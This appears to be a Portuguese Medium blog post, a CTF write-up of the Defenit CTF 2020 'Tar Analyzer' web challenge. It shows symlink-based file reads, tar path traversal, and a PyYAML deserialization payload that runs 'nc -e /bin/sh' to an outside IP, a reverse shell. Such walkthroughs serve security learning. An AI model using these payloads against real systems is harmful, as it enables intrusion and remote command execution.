Defenit CTF 2020 — Write-Up — Tar Analyzer (Web Hacking)

Web Hacking em Competições de CTF

Em um CTF, o objetivo é descobrir a flag (bandeira), que mundialmente é padronizada neste formato: ctf{password}. No caso do defenit, o formato das flags é Defenit{XXXX}, onde XXXX é a senha.

O Desafio

Você começa com uma ferramenta online onde é possível fazer uploads de arquivos no formato TAR (tarball) e visualizar os arquivos online.

neptunian:~/ctf/analysis$ 
neptunian:~/ctf/analysis$ free -m > arq1.txt
neptunian:~/ctf/analysis$ curl www.google.com > arq2.html
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 12562 0 12562 0 0 95166 0 --:--:-- --:--:-- --:--:-- 95166
neptunian:~/ctf/analysis$ tar cvf neptunian1.tar arq1.txt arq2.html
arq1.txt
arq2.html
neptunian:~/ctf/analysis$
Uma informação importante sobre aplicações Python/Flask, vocêapp.py

Resumindo:

  1. Gera um hash MD5 do IP do cliente, e salva o arquivo como temp/<MD5>.tar.
  2. Valida se o arquivo é realmente um tarball — realmente abre o arquivo pra ver se é legível. Isso evita de fato o upload de outros tipos de arquivo (não que seja um grande obstáculo neste caso).
  3. Extrai os arquivos para a pasta temp/<MD5>/<nomearquivo>
  4. Renderiza a tela com a lista de arquivos via templates/analyze (Não se mostrou útil, então não vamos analisar).

Lendo qualquer arquivo no servidor

Uma análise importante é verificar se podemos ler algum arquivo importante direto na própria URL. Pra isso, vamos analisar brevemente o código que permite a visualização dos arquivos:

Resumindo:

  1. Coloca o diretório temp/ na frente do arquivo.
  2. Substitui a expressão ‘..’ para evitar tentativas de path traversal.
  3. Envia o arquivo com o nome completo.
allow_host: 127.0.0.1
message: Hello Admin!
$ ln -s ../../config.yaml config.txt$ tar cvf config.tar config.txt
config.txt
$ ls -lart
total 20
drwxr-xr-x 3 neptunian neptunian 4096 jun 11 15:51 ..
lrwxrwxrwx 1 neptunian neptunian 17 jun 11 15:56 config.txt -> ../../config.yaml
-rw-rw-r-- 1 neptunian neptunian 10240 jun 11 15:56 config.tar
drwxrwxr-x 2 neptunian neptunian 4096 jun 11 15:56 .
$ cat config.txt
allow_host: 127.0.0.1
message: Hello Admin!
  • /etc/passwd
  • /proc/self/environ
  • /etc/hosts

Gravando arquivos não permitidos no servidor

Até então, já consegui ler qualquer arquivo do servidor, mas isso não me ajudou em muita coisa. Claro que já tinha tentado enviar arquivos de código pra testar se o servidor interpretava (como .py e .php). Lógico que não funcionou, pelo que já analisamos no código-fonte do download. Ele só envia os arquivos.

$ echo “Subindo um nivel” > ../nivel.txt
$ python
Python 3.7.4 (default, Aug 13 2019, 20:35:49)
[GCC 7.3.0] :: Anaconda, Inc. on linux
Type “help”, “copyright”, “credits” or “license” for more information.
>>> import tarfile
>>> tar = tarfile.open(“uplevel.tar”, “w”)
>>> tar.add(“../nivel.txt”)
>>> tar.close()
>>> quit()
$ tar tvf uplevel.tar
tar: Removing leading `../’ from member names
-rw-r — r — neptunian/neptunian 17 2020–06–11 16:28 ../nivel.txt
$

Entendendo o “admin”

Em um CTF, as aplicações alvo são muito simples, sem muito lixo. Tudo o que está lá normalmente tem um objetivo que faz parte do jogo. Nessa aplicação, tem uma URL /admin que, à primeira vista, não parece servir pra muita coisa.

Resumindo

  1. Antes de qualquer coisa, ele volta o arquivo config.yaml à configuração original (mencionada mais acima).
  2. Atualiza as configurações da aplicação, lendo o arquivo config.yaml, configuração allow_host.
  3. Faz uma checagem do host, verificando se o IP de origem é 127.0.0.1 (lido do arquivo de configuração).
  4. Caso a comparação dê sucesso, envia para o cliente o conteúdo da configuração message.
  • Aparentemente só funciona a partir da máquina local
  • Mesmo que funcione, só mostra a mensagem fixa Hello Admin.

Atacando a configuração — PyYAML

Fiquei travado sem conseguir a flag, mesmo conseguindo ler e escrever arquivos no servidor. Aí aconteceu uma coisa estranha que me fez dar os próximos passos. Lembra de quando eu li o arquivo config.yaml do servidor? Numa das vezes que li, apareceu o código diabólico abaixo:

!!map {
? !!str “goodbye”
: !!python/object/apply:os.system [
!!str “nc -e /bin/sh 52.111.111.111 8080”,
],
}
$ cat /tmp/nep.txt
cat: /tmp/nep.txt: No such file or directory
$ cat sample.yaml
!!python/object/apply:os.system [
!!str “find ../ > /tmp/nep.txt”,
]
$ python
Python 3.7.4 (default, Aug 13 2019, 20:35:49)
[GCC 7.3.0] :: Anaconda, Inc. on linux
Type “help”, “copyright”, “credits” or “license” for more information.
>>> from yaml import *
>>> fp = open(‘sample.yaml’, ‘rb’)
>>> config = load(fp.read(), Loader=Loader)
>>> quit()
$ cat /tmp/nep.txt
../
../other_files.txt
../f528764d624db129b32c21fbca0cb8d6
../9eea719ae29960691c72dac70bd0a33a
../9eea719ae29960691c72dac70bd0a33a/config2.txt

$

Race Condition + RCE (Remote Code Execution)

Existe uma pequena janela de oportunidade, provavelmente de algumas centenas de milissegundos, entre o momento em que ele grava a nova configuração e o momento em que ele faz o load. Se nesse micro-intervalo, eu conseguir sobrescrever o arquivo de configuração, ele vai ler o arquivo que eu quero e rodar o comando que eu quiser no servidor.

Defenit{R4ce_C0nd1710N_74r_5L1P_w17H_Y4ML_Rce!}

Falha no desafio

O uso do link simbólico pra ler arquivos no servidor não era intencional dos organizadores do desafio, mas vários grupos conseguiram resolver dessa forma.

Técnicas Utilizadas

Nesse desafio, acabei utilizando as seguintes técnicas:

  • Symlink Race: enviar links simbólicos pra acessar arquivos não permitidos.
  • Zip Slip: enviar caminhos relativos dentro de arquivos compactados (neste caso, empacotados), podendo gravar.
  • PyYAML Deserialization: utilizar a falha na deserialização de arquivos no formato yaml.

Finalizando

Infelizmente não consegui tempo pra trabalhar nos outros desafios, mas fiquei feliz de constar nas pontuações

Referências

Outros Write-Ups do desafio:

--

--

Hacker tiozão do pavê de final de semana

Love podcasts or audiobooks? Learn on the go with our new app.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Neptunian

Neptunian

Hacker tiozão do pavê de final de semana